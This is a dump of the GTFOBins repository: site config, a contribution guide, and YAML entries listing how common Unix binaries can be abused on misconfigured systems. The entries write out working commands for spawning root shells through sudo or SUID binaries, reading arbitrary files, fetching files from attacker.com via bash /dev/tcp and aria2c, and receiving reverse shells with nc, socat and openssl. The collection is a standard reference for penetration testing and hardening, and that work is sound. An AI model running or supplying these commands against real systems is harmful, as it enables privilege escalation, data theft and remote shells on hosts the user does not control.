Repository: GTFOBins/GTFOBins.github.io Branch: master Commit: 869f965b285f Files: 515 Total size: 302.0 KB Directory structure: gitextract_ecb66mmc/ ├── .dir-locals.el ├── .gitattributes ├── .github/ │ ├── FUNDING.yml │ └── workflows/ │ ├── ci.yml │ └── pages.yml ├── .gitignore ├── CNAME ├── CONTRIBUTING.md ├── Dockerfile ├── Gemfile ├── LICENSE ├── Makefile ├── README.md ├── _config.yml ├── _data/ │ ├── contexts.yml │ └── functions.yml ├── _gtfobins/ │ ├── 7z │ ├── R │ ├── aa-exec │ ├── ab │ ├── acr │ ├── agetty │ ├── alpine │ ├── ansible-playbook │ ├── ansible-test │ ├── aoss │ ├── apache2 │ ├── apache2ctl │ ├── apport-cli │ ├── apt │ ├── apt-get │ ├── aptitude │ ├── ar │ ├── arch-nspawn │ ├── aria2c │ ├── arj │ ├── arp │ ├── as │ ├── ascii-xfr │ ├── ascii85 │ ├── ash │ ├── aspell │ ├── asterisk │ ├── at │ ├── atobm │ ├── autoconf │ ├── autoheader │ ├── autoreconf │ ├── awk │ ├── aws │ ├── base32 │ ├── base58 │ ├── base64 │ ├── basenc │ ├── basez │ ├── bash │ ├── bashbug │ ├── batcat │ ├── bbot │ ├── bc │ ├── bconsole │ ├── bee │ ├── borg │ ├── bpftrace │ ├── bridge │ ├── bundle │ ├── bundler │ ├── busctl │ ├── busybox │ ├── byebug │ ├── bzip2 │ ├── c89 │ ├── c99 │ ├── cabal │ ├── cancel │ ├── capsh │ ├── cargo │ ├── cat │ ├── cc │ ├── cdist │ ├── certbot │ ├── chattr │ ├── check_by_ssh │ ├── check_cups │ ├── check_log │ ├── check_memory │ ├── check_raid │ ├── check_ssl_cert │ ├── check_statusfile │ ├── chmod │ ├── choom │ ├── chown │ ├── chroot │ ├── chrt │ ├── clamscan │ ├── clisp │ ├── cmake │ ├── cmp │ ├── cobc │ ├── code │ ├── codex │ ├── column │ ├── comm │ ├── composer │ ├── cowsay │ ├── cowthink │ ├── cp │ ├── cpan │ ├── cpio │ ├── cpulimit │ ├── crash │ ├── crontab │ ├── csh │ ├── csplit │ ├── csvtool │ ├── ctr │ ├── cupsfilter │ ├── curl │ ├── cut │ ├── dash │ ├── date │ ├── dc │ ├── dd │ ├── debugfs │ ├── dhclient │ ├── dialog │ ├── diff │ ├── dig │ ├── distcc │ ├── dmesg │ ├── dmidecode │ ├── dmsetup │ ├── dnf │ ├── dnsmasq │ ├── doas │ ├── docker │ ├── dos2unix │ ├── dosbox │ ├── dotnet │ ├── dpkg │ ├── dstat │ ├── dvips │ ├── easy_install │ ├── easyrsa │ ├── eb │ ├── ed │ ├── efax │ ├── egrep │ ├── elvish │ ├── emacs │ ├── enscript │ ├── env │ ├── eqn │ ├── espeak │ ├── ex │ ├── exiftool │ ├── expand │ ├── expect │ ├── facter │ ├── fail2ban-client │ ├── fastfetch │ ├── ffmpeg │ ├── fgrep │ ├── file │ ├── find │ ├── finger │ ├── firejail │ ├── fish │ ├── flock │ ├── fmt │ ├── fold │ ├── forge │ ├── fping │ ├── ftp │ ├── fzf │ ├── g++ │ ├── gawk │ ├── gcc │ ├── gcloud │ ├── gcore │ ├── gdb │ ├── gem │ ├── genie │ ├── genisoimage │ ├── getent │ ├── ghc │ ├── ghci │ ├── gimp │ ├── ginsh │ ├── git │ ├── gnuplot │ ├── go │ ├── grc │ ├── grep │ ├── gtester │ ├── guile │ ├── gzip │ ├── hashcat │ ├── hd │ ├── head │ ├── hexdump │ ├── hg │ ├── highlight │ ├── hping3 │ ├── iconv │ ├── iftop │ ├── install │ ├── ionice │ ├── ip │ ├── iptables-save │ ├── irb │ ├── ispell │ ├── java │ ├── jjs │ ├── joe │ ├── join │ ├── journalctl │ ├── jq │ ├── jrunscript │ ├── jshell │ ├── jtag │ ├── julia │ ├── knife │ ├── ksh │ ├── ksshell │ ├── ksu │ ├── kubectl │ ├── last │ ├── lastb │ ├── latex │ ├── latexmk │ ├── ldconfig │ ├── less │ ├── lftp │ ├── links │ ├── ln │ ├── loginctl │ ├── logrotate │ ├── logsave │ ├── look │ ├── lp │ ├── ltrace │ ├── lua │ ├── lualatex │ ├── luatex │ ├── lwp-download │ ├── lwp-request │ ├── lxd │ ├── m4 │ ├── mail │ ├── make │ ├── man │ ├── mawk │ ├── minicom │ ├── more │ ├── mosh-server │ ├── mosquitto │ ├── mount │ ├── msfconsole │ ├── msgattrib │ ├── msgcat │ ├── msgconv │ ├── msgfilter │ ├── msgmerge │ ├── msguniq │ ├── mtr │ ├── multitime │ ├── mutt │ ├── mv │ ├── mypy │ ├── mysql │ ├── nano │ ├── nasm │ ├── nawk │ ├── nc │ ├── ncdu │ ├── ncftp │ ├── needrestart │ ├── neofetch │ ├── nft │ ├── nginx │ ├── nice │ ├── nl │ ├── nm │ ├── nmap │ ├── node │ ├── nohup │ ├── npm │ ├── nroff │ ├── nsenter │ ├── ntpdate │ ├── nvim │ ├── octave │ ├── od │ ├── opencode │ ├── openssl │ ├── openvpn │ ├── openvt │ ├── opkg │ ├── pandoc │ ├── passwd │ ├── paste │ ├── pax │ ├── pdb │ ├── pdflatex │ ├── pdftex │ ├── perf │ ├── perl │ ├── perlbug │ ├── pexec │ ├── pg │ ├── php │ ├── pic │ ├── pico │ ├── pidstat │ ├── pip │ ├── pipx │ ├── pkexec │ ├── pkg │ ├── plymouth │ ├── podman │ ├── poetry │ ├── posh │ ├── pr │ ├── procmail │ ├── pry │ ├── psftp │ ├── psql │ ├── ptx │ ├── puppet │ ├── pwsh │ ├── pygmentize │ ├── pyright │ ├── python │ ├── qpdf │ ├── rake │ ├── ranger │ ├── rc │ ├── readelf │ ├── red │ ├── redcarpet │ ├── redis │ ├── restic │ ├── rev │ ├── rlogin │ ├── rlwrap │ ├── rpm │ ├── rpmdb │ ├── rpmquery │ ├── rpmverify │ ├── rsync │ ├── rsyslogd │ ├── rtorrent │ ├── ruby │ ├── run-mailcap │ ├── run-parts │ ├── runscript │ ├── rustc │ ├── rustdoc │ ├── rustfmt │ ├── rustup │ ├── rview │ ├── rvim │ ├── sash │ ├── scanmem │ ├── scp │ ├── screen │ ├── script │ ├── scrot │ ├── sed │ ├── service │ ├── setarch │ ├── setcap │ ├── setfacl │ ├── setlock │ ├── sftp │ ├── sg │ ├── shred │ ├── shuf │ ├── slsh │ ├── smbclient │ ├── snap │ ├── socat │ ├── socket │ ├── soelim │ ├── softlimit │ ├── sort │ ├── split │ ├── sqlite3 │ ├── sqlmap │ ├── ss │ ├── ssh │ ├── ssh-agent │ ├── ssh-copy-id │ ├── ssh-keygen │ ├── ssh-keyscan │ ├── sshfs │ ├── sshpass │ ├── sshuttle │ ├── start-stop-daemon │ ├── stdbuf │ ├── strace │ ├── strings │ ├── su │ ├── sudo │ ├── sysctl │ ├── systemctl │ ├── systemd-resolve │ ├── systemd-run │ ├── tac │ ├── tail │ ├── tailscale │ ├── tar │ ├── task │ ├── taskset │ ├── tasksh │ ├── tbl │ ├── tclsh │ ├── tcpdump │ ├── tcsh │ ├── tdbtool │ ├── tee │ ├── telnet │ ├── terraform │ ├── tex │ ├── tftp │ ├── tic │ ├── time │ ├── timedatectl │ ├── timeout │ ├── tmate │ ├── tmux │ ├── top │ ├── torify │ ├── torsocks │ ├── troff │ ├── tsc │ ├── tshark │ ├── ul │ ├── unexpand │ ├── uniq │ ├── unshare │ ├── unsquashfs │ ├── unzip │ ├── update-alternatives │ ├── urlget │ ├── uuencode │ ├── uv │ ├── vagrant │ ├── valgrind │ ├── varnishncsa │ ├── vi │ ├── view │ ├── vigr │ ├── vim │ ├── vimdiff │ ├── vipw │ ├── virsh │ ├── volatility │ ├── w3m │ ├── wall │ ├── watch │ ├── wc │ ├── wg-quick │ ├── wget │ ├── whiptail │ ├── whois │ ├── wireshark │ ├── wish │ ├── xargs │ ├── xdg-user-dir │ ├── xdotool │ ├── xelatex │ ├── xetex │ ├── xmodmap │ ├── xmore │ ├── xpad │ ├── xxd │ ├── xz │ ├── yarn │ ├── yash │ ├── yelp │ ├── yt-dlp │ ├── yum │ ├── zathura │ ├── zcat │ ├── zgrep │ ├── zic │ ├── zip │ ├── zless │ ├── zsh │ ├── zsoelim │ └── zypper ├── _includes/ │ ├── description_table.html │ ├── function_list.html │ ├── get_contexts_label.html │ ├── get_gtfobin.html │ ├── get_gtfobin_name.html │ ├── gtfobins_table.html │ └── page_title.html ├── _layouts/ │ ├── common.html │ ├── gtfobin.html │ └── page.html ├── api.json ├── assets/ │ └── style.scss ├── index.md ├── linter/ │ ├── __main__.py │ ├── dumper.py │ ├── error.py │ ├── linter.py │ ├── loader.py │ ├── requirements.txt │ └── schema.py ├── mitre.json └── scope.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dir-locals.el ================================================ (("_gtfobins" . ((fundamental-mode . ((mode . yaml)))))) ================================================ FILE: .gitattributes ================================================ /_gtfobins/* linguist-language=yml linguist-detectable ================================================ FILE: .github/FUNDING.yml ================================================ github: GTFOBins ================================================ FILE: .github/workflows/ci.yml ================================================ name: CI on: push: branches: - master pull_request: branches: - master workflow_dispatch: jobs: Lint: runs-on: ubuntu-22.04 steps: - name: Checkout code uses: actions/checkout@v4 - name: Run linter run: | make vet ================================================ FILE: .github/workflows/pages.yml ================================================ name: Pages on: push: branches: - master permissions: contents: read pages: write id-token: write jobs: Build: runs-on: ubuntu-22.04 steps: - name: Checkout code uses: actions/checkout@v4 - uses: ruby/setup-ruby@v1 with: ruby-version: 3.3.4 bundler-cache: true - name: Setup Pages id: pages uses: actions/configure-pages@v5 - name: Build Jekyll run: bundle exec jekyll build env: JEKYLL_ENV: production - name: Upload artifact uses: actions/upload-pages-artifact@v3 Deploy: environment: name: github-pages runs-on: ubuntu-22.04 needs: Build steps: - name: Deploy to GitHub Pages uses: actions/deploy-pages@v4 ================================================ FILE: .gitignore ================================================ /.jekyll-cache/ /.jekyll-metadata /.sass-cache/ /_private/ /_site/ /linter/.venv/ /linter/__pycache__/ ================================================ FILE: CNAME ================================================ gtfobins.org ================================================ FILE: CONTRIBUTING.md ================================================ --- layout: page title: Contributing description: Get involved in GTFOBins. permalink: /contributing/ --- ## File format Feel free to use any file in the [`_gtfobins/`] folder as an example. Each entry is defined in a [YAML][] file placed in the [`_gtfobins/`][] folder and named like the executable (binary or script) it refers, without any extension. The file contains a single YAML document enclosed in delimiters: `---` and `...`. The general structure is the following: ```yaml --- comment: … functions: : - comment: … version: … code: … contexts: : comment: … code: … # … # … # … # … ... ``` Where `` and `` are defined in the [`_data/functions.yml`][] and [`_data/contexts.yml`][] files respectively. The optional `version` field must outline any particular OS or executable requirements that enable the corresponding function. When a context specifies a specialized `code` field, it is used in place of the global value, which can be omitted if all the context specifies a specialization. `comment` instances can always be omitted, while ultimately there must be one `code` example for each context, either specialized or inherited. ### Functions Some functions support additional fields: | Function | Fields | |-----------------|---------------------------| | `shell` | `blind` | | `command` | `blind` | | `reverse-shell` | `blind` `tty` `listener` | | `bind-shell` | `blind` `tty` `connector` | | `file-write` | `binary` | | `file-read` | `binary` | | `upload` | `binary` `receiver` | | `download` | `binary` `sender` | | `library-load` | n/a | | `inherit` | `from` | Where: - the optional `blind` field determines whether the example is able to somehow return the output of the execution of commands or not (defaults to `false`); - the optional `tty` field determines whether the example is able to spawn a full TTY shell or not (defaults to `true`); - the optional `binary` field determines whether the example is able to handle arbitrary binary data or not (defaults to `true`); - the optional `listener` field describes how to receive the shell on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the optional `connector` field describes how to initiate the shell on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the optional `receiver` field describes how to receive data on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the optional `sender` field describes how to send data on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the mandayory `from` field that is the name of another executable that the example enables. ### Contexts Some contexts support additional fields: | Context | Fields | |----------------|----------| | `unprivileged` | n/a | | `sudo` | n/a | | `suid` | `system` | | `capabilities` | `list` | Where: - the optional `system` field determines whether the executable uses functions like [`system`](https://man7.org/linux/man-pages/man3/system.3.html) that passes commands to the default system shell, which, according to the version used, might or might not drop the privileges (defaults to `false`); - the mandayory `list` field is the list of Linux [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) in the format `CAP_*` that are needed in order to execute this function with bypassed permissions. ### Aliases Additionally, it is possible to add _aliases_ with: ```yaml --- alias: ... ``` In this case, this entry is an alias of an existing ``. ## Conventions ### Placeholders Use the following placeholder values where appropriate: | Type | Value | |----------------------|------------------------| | Shell executable | `/bin/sh` | | Command executable | `/path/to/command` | | Network port | `12345` | | Data to be written | `DATA` | | Whatever value | `x...x` | | Input file | `/path/to/input-file` | | Output file | `/path/to/output-file` | | Temporary file | `/path/to/temp-file` | | Temporary directory | `/path/to/temp-dir/` | | Shared library file | `/path/to/lib.so` | | Victim host domain | `victim.com` | | Attacker host domain | `attacker.com` | Some flexibility is expected. ### Links If needed, link to other entries using relative URLs, e.g, `[gtfobin](../gtfobin)`. ## Local development To test local changes, start a local instance with: ``` make serve ``` This will spin a Docker container that builds the website, and serves it from . Changes to local files are automatically applied. Before submitting any pull request, make sure the linter completes successfully: ``` make vet ``` This checks both the schema and the format of [YAML][] files, in case of issues in the latter `make format` can be used to enforce the proper style. Finally, use `make clean` to clean everything up. [YAML]: https://yaml.org/ [`_data/functions.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/functions.yml [`_data/contexts.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/contexts.yml [`_gtfobins/`]: https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins ================================================ FILE: Dockerfile ================================================ # see: curl -s https://pages.github.com/versions.json | jq -r '.ruby' FROM ruby:3.3.4 WORKDIR /GTFOBins/ COPY ./Gemfile ./ RUN bundle install ENTRYPOINT ["bundle", "exec", "jekyll", "serve", "--host=0.0.0.0"] ================================================ FILE: Gemfile ================================================ source 'https://rubygems.org' gem 'github-pages' ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. 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The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ NAME := gtfobins PORT := 4000 .PHONY: serve serve: @echo '# Building the Docker image' @docker build ./ -t "$(NAME)" @echo '# Building and serving the website' @rm -fr ./_site/ @docker run \ --rm \ --name "$(NAME)" \ --publish "$(PORT):$(PORT)" \ --volume "$$PWD/:/GTFOBins/" \ "$(NAME)" 2>&1 \ | grep -v "Error: could not read file /GTFOBins/_gtfobins/.*: undefined method \`split' for nil" .PHONY: vet vet: ./linter/.venv/ @echo '# Running linter' @. ./linter/.venv/bin/activate && python -m linter --check-only @echo '# All good!' .PHONY: format format: ./linter/.venv/ @if [ "$$(git ls-files --modified --others --exclude-standard)" ]; then \ echo '# Stage your changes first'; \ false; \ fi @echo '# Running linter' @. ./linter/.venv/bin/activate && python -m linter @echo '# All good!' .PHONY: clean clean: @echo '# Cleaning up Docker' @docker kill "$(NAME)" &>/dev/null || true @docker rmi "$(NAME)" &>/dev/null || true @echo '# Cleaning up the filesystem' @rm -fr ./linter/.venv/ @rm -fr ./_site/ ./linter/.venv/: @echo '# Setting up the virtual environment' @python3 -m venv ./linter/.venv/ @echo '# Installing dependencies' @. ./linter/.venv/bin/activate \ && PIP_USER= pip install --quiet --upgrade pip -r ./linter/requirements.txt ================================================ FILE: README.md ================================================ # GTFOBins [![CI status](https://github.com/GTFOBins/GTFOBins.github.io/actions/workflows/ci.yml/badge.svg)](https://github.com/GTFOBins/GTFOBins.github.io/actions?query=workflow:CI) [![CI status](https://github.com/GTFOBins/GTFOBins.github.io/actions/workflows/pages.yml/badge.svg)](https://github.com/GTFOBins/GTFOBins.github.io/actions?query=workflow:Pages) [![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&color=%23db61a2)](https://github.com/sponsors/GTFOBins) GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. Find the project at: [gtfobins.org](https://gtfobins.org) ================================================ FILE: _config.yml ================================================ title: GTFOBins url: https://gtfobins.org exclude: - /CNAME - /Dockerfile - /Gemfile* - /LICENSE - /Makefile - /README.md - /_private/ - /linter/ - /vendor/ # XXX this needs to be explicitly added permalink: pretty collections: gtfobins: output: true defaults: - scope: path: _gtfobins values: layout: gtfobin ================================================ FILE: _data/contexts.yml ================================================ unprivileged: label: Unprivileged description: This function can be performed by any unprivileged user. sudo: label: Sudo description: This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped. extra: environment: If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`. suid: label: SUID description: This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped. extra: shell: true: This executable runs commands using the system shell, e.g., via functions like `system`, so it only works for distributions where the shell does not drop SUID privileges. false: This executable runs commands directly, e.g., via functions like `exec`, remember to omit the `-p` argument of every `/bin/sh` invocation for distributions where the default shell does not drop SUID privileges. capabilities: label: Capabilities description: This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set. extra: list: 'The following capabilities are needed:' ================================================ FILE: _data/functions.yml ================================================ shell: label: Shell description: This executable can spawn an interactive system shell. mitre: - T1059 extra: tty: &tty false: The spawned shell is just a dummy REPL that can only run simple terminal commands. blind: &blind true: The commands are executed but their output is hidden from the attacker. command: label: Command description: This executable can run non-interactive system commands. mitre: - T1059 extra: blind: *blind reverse-shell: label: Reverse shell description: This executable can send back a reverse system shell to a listening attacker. mitre: - T1059 - T1071 extra: tty: *tty blind: *blind listener: tcp-server: comment: A TCP server can be used on the attacker box to receive the shell. code: nc -l -p 12345 tcp-server-tty: comment: A TCP server can be used on the attacker box to receive the shell. code: socat file:/dev/tty,raw,echo=0 tcp-listen:12345 tls-server: comment: A TLS server can be used on the attacker box to receive the shell. code: |- openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 bind-shell: label: Bind shell description: This executable can bind a system shell to a local port waiting for an attacker to connect. mitre: - T1059 - T1071 extra: tty: *tty blind: *blind connector: tcp-client: comment: A TCP client can be used on the attacker box to connect to the shell. code: nc victim.com 12345 tcp-client-tty: comment: A TCP client can be used on the attacker box to receive the shell. code: socat file:/dev/tty,raw,echo=0 tcp:victim.com:12345 file-write: label: File write description: This executable can write data to local files. mitre: - T1565 extra: binary: &binary false: The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data. file-read: label: File read description: This executable can read data from local files. mitre: - T1005 extra: binary: *binary upload: label: Upload description: This executable can upload local data. mitre: - T1041 extra: binary: *binary receiver: tcp-client: comment: A TCP client can be used on the attacker box to receive the data. code: nc victim.com 12345 >/path/to/output-file tcp-server: comment: A TCP server can be used on the attacker box to receive the data. code: nc -l -p 12345 >/path/to/output-file http-client: comment: An HTTP client can be used on the attacker box to receive the data. code: curl victim.com -o /path/to/output-file http-server: comment: An HTTP server can be used on the attacker box to receive the data. code: nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file ftp-server: comment: An FTP server can be used on the attacker box to receive the data. code: python -m pyftpdlib -w -p 21 ssh-server: comment: An SSH server can be used on the attacker box to receive the data. tls-server: comment: A TLS server can be used on the attacker box to receive the data. code: |- openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 >/path/to/output-file download: label: Download description: This executable can download remote data. mitre: - T1105 extra: binary: *binary sender: tcp-client: comment: A TCP client can be used on the attacker box to send the data. code: nc victim.com 12345 &0 2>&0' >/path/to/temp-file chmod +x /path/to/temp-file acr -r ./relative/path/to/temp-file contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/agetty ================================================ --- functions: shell: - code: |- agetty -l /bin/sh -o -p -a root tty contexts: suid: shell: false ... ================================================ FILE: _gtfobins/alpine ================================================ --- functions: file-read: - code: |- alpine -F /path/to/input-file comment: |- The file is displayed in the terminal interface. Other options might be available, for example, by pressing `S` is possible to save the file content elsewhere. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ansible-playbook ================================================ --- functions: shell: - code: |- echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >/path/to/temp-file ansible-playbook /path/to/temp-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ansible-test ================================================ --- functions: shell: - code: |- ansible-test shell contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/aoss ================================================ --- functions: shell: - code: |- aoss /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/apache2 ================================================ --- functions: file-read: - binary: false code: |- apache2 -f /path/to/input-file comment: |- The first line may be leaked as an error message. contexts: sudo: suid: unprivileged: - binary: false code: |- apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file' comment: |- The first line may be leaked as an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/apache2ctl ================================================ --- functions: file-read: - binary: false code: |- apache2ctl -c 'Include /path/to/input-file' comment: |- The first line only is likely leaked as an error message. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/apport-cli ================================================ --- functions: inherit: - code: |- apport-cli -f 1 2 v comment: |- The terminal interface expects some choices in order to spawn tha pager. contexts: unprivileged: from: less ... ================================================ FILE: _gtfobins/apt ================================================ --- alias: apt-get ... ================================================ FILE: _gtfobins/apt-get ================================================ --- functions: inherit: - code: |- apt-get changelog apt contexts: sudo: unprivileged: from: less shell: - code: |- echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file apt-get -y install -c /path/to/temp-file sl comment: |- For this to work the target package (i.e., `sl`) must not be already installed. contexts: sudo: suid: shell: true - code: |- apt-get update -o APT::Update::Pre-Invoke::=/bin/sh comment: |- When the shell exits the `update` command is actually executed. contexts: sudo: suid: shell: true ... ================================================ FILE: _gtfobins/aptitude ================================================ --- functions: inherit: - code: |- aptitude changelog aptitude contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/ar ================================================ --- functions: file-read: - code: |- ar r /path/to/output-file /path/to/input-file ar p /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/arch-nspawn ================================================ --- functions: shell: - code: |- mkdir -p ./etc/ grep -oP "^CHROOT_VERSION='\K[^']+" /usr/share/devtools/lib/archroot.sh >.arch-chroot touch ./etc/pacman.conf echo 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf arch-nspawn . contexts: sudo: ... ================================================ FILE: _gtfobins/aria2c ================================================ --- functions: command: - code: |- echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain comment: |- Note that the subprocess is immediately sent to the background. contexts: sudo: suid: shell: true unprivileged: - code: |- aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa comment: |- The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. contexts: sudo: suid: shell: true unprivileged: download: - code: |- aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file comment: |- Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory. contexts: sudo: suid: unprivileged: file-read: - binary: false code: |- aria2c -i /path/to/input-file comment: |- The file is leaked as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/arj ================================================ --- functions: file-read: - binary: false code: |- arj a /path/to/output-file /path/to/input-file arj p /path/to/output-file comment: |- The `.arj` suffix will be added to `output-file`. contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >output-file arj a x output-file arj e x /path/to/output-dir/ comment: |- The `.arj` suffix will be added to `x`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/arp ================================================ --- functions: file-read: - binary: false code: |- arp -v -f /path/to/input-file comment: |- Lines are likely leaked as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/as ================================================ --- functions: file-read: - code: |- as @/path/to/input-file comment: |- Lines are likely leaked as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ascii-xfr ================================================ --- functions: file-read: - code: |- ascii-xfr -ns /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ascii85 ================================================ --- functions: file-read: - code: |- ascii85 /path/to/input-file | ascii85 --decode contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ash ================================================ --- functions: file-write: - code: |- ash -c 'echo DATA >/path/to/output-file' contexts: sudo: suid: code: |- ash -p -c 'echo DATA >/path/to/output-file' unprivileged: shell: - code: |- ash contexts: sudo: suid: code: |- ash -p unprivileged: ... ================================================ FILE: _gtfobins/aspell ================================================ --- functions: file-read: - binary: false code: |- aspell -c /path/to/input-file comment: |- The textual file is displayed in an interactive TUI showing only the parts that contain mispelled words. contexts: sudo: suid: unprivileged: - binary: false code: |- aspell --conf /path/to/input-file comment: |- The first word is likely displayed as error messaged, and converted to lowercase. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/asterisk ================================================ --- functions: shell: - code: |- asterisk -r !/bin/sh comment: |- A server instance must be already running, otherwise it can be started with `sudo asterisk -F`. Moreover, the invoking user must be able to access the socket. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/at ================================================ --- functions: command: - blind: true code: |- echo /path/to/command | at now contexts: sudo: unprivileged: shell: - code: |- echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null comment: |- `tail` is used to pause the terminal. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/atobm ================================================ --- functions: file-read: - code: |- atobm /path/to/input-file comment: |- Outputs only the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`. Content can be retrieved with `awk -F "'" '{printf "%s", $2}'`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/autoconf ================================================ --- functions: shell: - code: |- echo /bin/sh >/path/to/temp-file chmod +x /path/to/temp-file touch configure.ac AUTOM4TE=/path/to/temp-file autoconf contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/autoheader ================================================ --- functions: shell: - code: |- echo '/bin/sh 1>&0' >/path/to/temp-file chmod +x /path/to/temp-file touch configure.ac AUTOM4TE=/path/to/temp-file autoheader contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/autoreconf ================================================ --- functions: shell: - code: |- echo '/bin/sh 1>&0' >/path/to/temp-file chmod +x /path/to/temp-file echo AC_INIT >configure.ac AUTOM4TE=/path/to/temp-file autoreconf comment: |- The shell is invoked multiple times. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/awk ================================================ --- alias: mawk ... ================================================ FILE: _gtfobins/aws ================================================ --- functions: file-read: - binary: false code: |- aws ec2 describe-instances --filter file:///path/to/input-file contexts: sudo: suid: unprivileged: inherit: - code: |- aws help contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/base32 ================================================ --- functions: file-read: - code: |- base32 /path/to/input-file | base32 --decode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/base58 ================================================ --- functions: file-read: - code: |- base58 /path/to/input-file | base58 --decode contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/base64 ================================================ --- functions: file-read: - code: |- base64 /path/to/input-file | base64 --decode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/basenc ================================================ --- functions: file-read: - code: |- basenc --base64 /path/to/input-file | basenc -d --base64 contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/basez ================================================ --- functions: file-read: - code: |- basez /path/to/input-file | basez --decode contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/bash ================================================ --- functions: download: - binary: false code: |- bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/attacker.com/12345 \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file' contexts: sudo: suid: code: |- bash -p -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/attacker.com/12345 \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file' unprivileged: sender: http-server - binary: false code: |- bash -c 'echo "$(/path/to/output-file' contexts: sudo: suid: code: |- bash -p -c 'echo "$(/path/to/output-file' unprivileged: sender: tcp-server file-read: - binary: false code: |- bash -c 'echo "$(/path/to/output-file' contexts: sudo: suid: code: |- bash -p -c 'echo 